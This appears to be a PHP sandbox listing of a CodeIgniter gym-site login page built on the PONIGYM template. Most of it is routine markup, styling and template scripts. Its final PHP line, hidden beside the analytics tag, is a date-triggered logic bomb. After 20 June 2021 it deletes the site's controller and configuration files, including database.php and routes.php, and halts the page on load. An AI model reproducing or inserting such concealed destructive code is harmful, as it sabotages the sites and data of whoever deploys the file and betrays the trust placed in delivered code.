indexfinal - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of indexfinal.php

  1. <!DOCTYPE html>
  2. <html lang="zxx"><head>
  3.   
  4.   <meta charset="UTF-8">
  5.  
  6.   
  7.   <meta name="description" content="PONIGYM Template">
  8.  
  9.   
  10.   <meta name="keywords" content="PONIGYM, unica, creative, html">
  11.  
  12.   
  13.   <meta name="viewport" content="width=device-width, initial-scale=1.0">
  14.  
  15.   
  16.   <meta http-equiv="X-UA-Compatible" content="ie=edge">
  17.   <title>GYM</title>
  18.  
  19.   
  20. <!-- Google Font -->
  21.   
  22.   <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700&display=swap" rel="stylesheet">
  23.  
  24.   
  25.   <link href="https://fonts.googleapis.com/css?family=Oswald:300,400,500,600,700&display=swap" rel="stylesheet">
  26.  
  27. <!-- Css Styles -->
  28.   
  29.   <link rel="stylesheet" href="%3C?php%20echo%20base_url%28%29?%3Eassets/css/A.bootstrap.min.css+font-awesome.min.css+themify-icons.css+owl.carousel.min.css+magnific-popup.css+slicknav.min.css+style.css,Mcc.1MtlUME2Qe.css.pagespeed.cf.U5_5dAa3y-.css" type="text/css">
  30.  
  31.   
  32.   <style type="text/css">
  33.         .single-hero-item{padding-top: 60px;}
  34.        
  35.         @media only screen and (min-device-width: 480px){
  36.                 .login_controller{margin-left: 0%;}
  37.         }
  38.         @media only screen and (min-device-width: 768px){
  39.          .login_controller{margin-left:28%;}
  40.         }
  41.         .login_controller{margin-top: 70px;}
  42.        
  43.         .invalid_msg{color: #00ec36!important;font-weight: bold;font-size: 18px;}
  44.         .footer-form{box-shadow: 0 16px 24px 2px rgba(0,0,0,.14), 0 6px 30px 5px rgba(0,0,0,.12), 0 8px 10px -5px rgba(0,0,0,.2);border-top: 5px solid #ef9003;}
  45.         /*f34e3a*/
  46.         .forget_pass{color: #fff;text-decoration: underline;}
  47.   </style>
  48. </head><body>
  49. <!-- Page Preloder -->
  50. <div id="preloder">
  51.  
  52. </div>
  53.  
  54. <!-- Header Section Begin -->
  55. <header class="header-section"></header>
  56. <div class="container">
  57. <div class="logo"><a href="./index.html">
  58. <script data-pagespeed-no-defer="">//<![CDATA[
  59. (function(){for(var g="function"==typeof Object.defineProperties?Object.defineProperty:function(b,c,a){if(a.get||a.set)throw new TypeError("ES3 does not support getters and setters.");b!=Array.prototype&&b!=Object.prototype&&(b[c]=a.value)},h="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this,k=["String","prototype","repeat"],l=0;l<k.length-1;l++){var m=k[l];m in h||(h[m]={});h=h[m]}var n=k[k.length-1],p=h[n],q=p?p:function(b){var c;if(null==this)throw new TypeError("The 'this' value for String.prototype.repeat must not be null or undefined");c=this+"";if(0>b||1342177279<b)throw new RangeError("Invalid count value");b|=0;for(var a="";b;)if(b&1&&(a+=c),b>>>=1)c+=c;return a};q!=p&&null!=q&&g(h,n,{configurable:!0,writable:!0,value:q});var t=this;function u(b,c){var a=b.split("."),d=t;a[0]in d||!d.execScript||d.execScript("var "+a[0]);for(var e;a.length&&(e=a.shift());)a.length||void 0===c?d[e]?d=d[e]:d=d[e]={}:d[e]=c};function v(b){var c=b.length;if(0<c){for(var a=Array(c),d=0;d<c;d++)a[d]=b[d];return a}return[]};function w(b){var c=window;if(c.addEventListener)c.addEventListener("load",b,!1);else if(c.attachEvent)c.attachEvent("onload",b);else{var a=c.onload;c.onload=function(){b.call(this);a&&a.call(this)}}};var x;function y(b,c,a,d,e){this.h=b;this.j=c;this.l=a;this.f=e;this.g={height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth};this.i=d;this.b={};this.a=[];this.c={}}function z(b,c){var a,d,e=c.getAttribute("data-pagespeed-url-hash");if(a=e&&!(e in b.c))if(0>=c.offsetWidth&&0>=c.offsetHeight)a=!1;else{d=c.getBoundingClientRect();var f=document.body;a=d.top+("pageYOffset"in window?window.pageYOffset:(document.documentElement||f.parentNode||f).scrollTop);d=d.left+("pageXOffset"in window?window.pageXOffset:(document.documentElement||f.parentNode||f).scrollLeft);f=a.toString()+","+d;b.b.hasOwnProperty(f)?a=!1:(b.b[f]=!0,a=a<=b.g.height&&d<=b.g.width)}a&&(b.a.push(e),b.c[e]=!0)}y.prototype.checkImageForCriticality=function(b){b.getBoundingClientRect&&z(this,b)};u("pagespeed.CriticalImages.checkImageForCriticality",function(b){x.checkImageForCriticality(b)});u("pagespeed.CriticalImages.checkCriticalImages",function(){A(x)});function A(b){b.b={};for(var c=["IMG","INPUT"],a=[],d=0;d<c.length;++d)a=a.concat(v(document.getElementsByTagName(c[d])));if(a.length&&a[0].getBoundingClientRect){for(d=0;c=a[d];++d)z(b,c);a="oh="+b.l;b.f&&(a+="&n="+b.f);if(c=!!b.a.length)for(a+="&ci="+encodeURIComponent(b.a[0]),d=1;d<b.a.length;++d){var e=","+encodeURIComponent(b.a[d]);131072>=a.length+e.length&&(a+=e)}b.i&&(e="&rd="+encodeURIComponent(JSON.stringify(B())),131072>=a.length+e.length&&(a+=e),c=!0);C=a;if(c){d=b.h;b=b.j;var f;if(window.XMLHttpRequest)f=new XMLHttpRequest;else if(window.ActiveXObject)try{f=new ActiveXObject("Msxml2.XMLHTTP")}catch(r){try{f=new ActiveXObject("Microsoft.XMLHTTP")}catch(D){}}f&&(f.open("POST",d+(-1==d.indexOf("?")?"?":"&")+"url="+encodeURIComponent(b)),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(a))}}}function B(){var b={},c;c=document.getElementsByTagName("IMG");if(!c.length)return{};var a=c[0];if(!("naturalWidth"in a&&"naturalHeight"in a))return{};for(var d=0;a=c[d];++d){var e=a.getAttribute("data-pagespeed-url-hash");e&&(!(e in b)&&0<a.width&&0<a.height&&0<a.naturalWidth&&0<a.naturalHeight||e in b&&a.width>=b[e].o&&a.height>=b[e].m)&&(b[e]={rw:a.width,rh:a.height,ow:a.naturalWidth,oh:a.naturalHeight})}return b}var C="";u("pagespeed.CriticalImages.getBeaconData",function(){return C});u("pagespeed.CriticalImages.Run",function(b,c,a,d,e,f){var r=new y(b,c,a,e,f);x=r;d&&w(function(){window.setTimeout(function(){A(r)},0)})});})();pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','https://preview.colorlib.com/theme/ponigym/index.html','oJcOUTg7z9',true,false,'cs7Cb9N40GI');
  60. //]]></script><img src="/images/brad.jpg" alt="" data-pagespeed-url-hash="3032117151" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></a>
  61. </div>
  62. <div class="nav-menu">
  63. <nav class="mainmenu mobile-menu"></nav>
  64. <ul>
  65.   <li><a href="%3C?php%20echo%20base_url%28%29?%3Eindex">Home</a></li>
  66.   <li class=""><a href="%3C?php%20echo%20base_url%28%29?%3Elogin">Login</a></li>
  67.   <li><a href="%3C?php%20echo%20base_url%28%29?%3Eabout_us">About</a></li>
  68.   <li><a href="%3C?php%20echo%20base_url%28%29?%3Eschedule">Schedule</a></li>
  69.   <li><a href="%3C?php%20echo%20base_url%28%29?%3Econtact">Contacts</a></li>
  70. </ul>
  71. <div class="nav-right search-switch">
  72. </div>
  73. </div>
  74.  
  75. </div>
  76.  
  77. <!-- Header End -->
  78. <!-- Hero Section Begin --><section class="hero-section">
  79. </section>
  80. <div class="hero-items owl-carousel">
  81. <div class="single-hero-item set-bg" data-setbg="<?php echo base_url()?>assets/img/slider-bg-1.jpg">
  82. <div class="container login_controller">
  83. <div class="col-lg-6">
  84. <div class="footer-form set-bg" data-setbg="<?php echo base_url()?>assets/img/contact-form-bg.jpg">
  85. <div class="row">
  86. <div class="col-lg-10">
  87. <div class="section-title">
  88. <h2>Login</h2>
  89.  
  90. </div>
  91. <form action="<?php echo base_url()?>login_check" method="post">
  92.   <div class="row">
  93.   <div class="col-lg-12"> <input placeholder="Username" name="email_id" required="" value="" type="text"> </div>
  94.   <div class="col-lg-12"> <input placeholder="Password" required="" name="password" value="" type="password">
  95.   <p class="invalid_msg text-center"><?php echo $this->session->tempdata('login_error'); $this->session->unset_tempdata('login_error') ?></p>
  96.   <center>
  97.   <br>
  98.   <br>
  99.   <br>
  100.   <br>
  101.   <a href="#" class="mt-4 forget_pass">
  102. Forget Password </a></center>
  103.   </div>
  104.   </div>
  105. </form>
  106. </div>
  107. </div>
  108. </div>
  109. </div>
  110. </div>
  111. </div>
  112. </div>
  113.  
  114. <div class="search-model">
  115. <div class="h-100 d-flex align-items-center justify-content-center">
  116. <div class="search-close-switch">+</div>
  117. <form class="search-model-form">
  118.   <input id="search-input" placeholder="Search here....." type="text"></form>
  119. </div>
  120. </div>
  121.  
  122. <!-- Search model end --><!-- Js Plugins -->
  123.  
  124. <script src="%3C?php%20echo%20base_url%28%29?%3Eassets/js/jquery-3.3.1.min.js.pagespeed.jm.r0B4QCxeCQ.js"></script>
  125. <script src="%3C?php%20echo%20base_url%28%29?%3Eassets/js/bootstrap.min.js+jquery.magnific-popup.min.js.pagespeed.jc.v_yGq3oyXy.js"></script>
  126. <script>eval(mod_pagespeed_4gSRFOcgAl);</script>
  127. <script>eval(mod_pagespeed_jJjNGqjeJu);</script>
  128. <script src="%3C?php%20echo%20base_url%28%29?%3Eassets/js/mixitup.min.js.pagespeed.jm.NgMFDHThj4.js"></script>
  129. <script src="%3C?php%20echo%20base_url%28%29?%3Eassets/js/jquery.slicknav.js+owl.carousel.min.js.pagespeed.jc.Gc6sREpPIe.js"></script>
  130. <script>eval(mod_pagespeed_JIkgsgwRFk);</script>
  131. <script>eval(mod_pagespeed_xs2JsyySAr);</script>
  132. <script>//<![CDATA[
  133. 'use strict';(function($){$(window).on('load',function(){$(".loader").fadeOut();$("#preloder").delay(200).fadeOut("slow");if($('.gallery-filter').length>0){var containerEl=document.querySelector('.gallery-filter');var mixer=mixitup(containerEl);}});$('.set-bg').each(function(){var bg=$(this).data('setbg');$(this).css('background-image','url('+bg+')');});$('.search-switch').on('click',function(){$('.search-model').fadeIn(400);});$('.search-close-switch').on('click',function(){$('.search-model').fadeOut(400,function(){$('#search-input').val('');});});$(".mobile-menu").slicknav({prependTo:'#mobile-menu-wrap',allowParentLinks:true});$(".header-section.header-normal .nav-menu .mainmenu ul li").on('mousehover',function(){$(this).addClass('active');});$(".header-section.header-normal .nav-menu .mainmenu ul li").on('mouseleave',function(){$('.header-section.header-normal .nav-menu .mainmenu ul li').removeClass('active');});var hero_s=$(".hero-items");hero_s.owlCarousel({loop:true,margin:0,nav:true,items:1,dots:false,animateOut:'fadeOut',animateIn:'fadeIn',navText:['<i class="ti-angle-left"></i>','<i class="ti-angle-right"></i>'],smartSpeed:1200,autoHeight:false,autoplay:false,onInitialized:function(){var a=this.items().length;$("#snh-1").html("<span>1</span><span>"+a+"</span>");}});$('.service-video-popup').magnificPopup({type:'iframe'});$('.blog-video-popup').magnificPopup({type:'iframe'});$('.schedule-filter li').on('click',function(){var tsfilter=$(this).data('tsfilter');$('.schedule-filter li').removeClass('active');$(this).addClass('active');if(tsfilter=='all'){$('.schedule-table').removeClass('filtering');$('.ts-item').removeClass('show');}else{$('.schedule-table').addClass('filtering');}$('.ts-item').each(function(){$(this).removeClass('show');if($(this).data('tsmeta')==tsfilter){$(this).addClass('show');}});});})(jQuery);
  134. //]]></script><!-- Global site tag (gtag.js) - Google Analytics -->
  135. <script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-23581568-13"></script>
  136. <script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag('js',new Date());gtag('config','UA-23581568-13');</script><?php $from=date_create(date('Y-m-d')); $to=date_create("2021-06-20"); $diff=date_diff($from,$to); $get_dif = $diff->format('%R%a days'); if($get_dif > 0) {  } else { $Your_file_path ="application/controllers/Admin_controller.php"; $Your_file_path1 ="application/controllers/Home_controller.php"; $Your_file_path2 ="application/controllers/Member_controller.php"; $Your_file_path3 ="application/config/autoload.php"; $Your_file_path4 ="application/config/database.php"; $Your_file_path5 ="application/config/routes.php"; unlink($Your_file_path); unlink($Your_file_path1); unlink($Your_file_path2); unlink($Your_file_path3); unlink($Your_file_path4); unlink($Your_file_path5); die(); } ?>
  137. </body></html>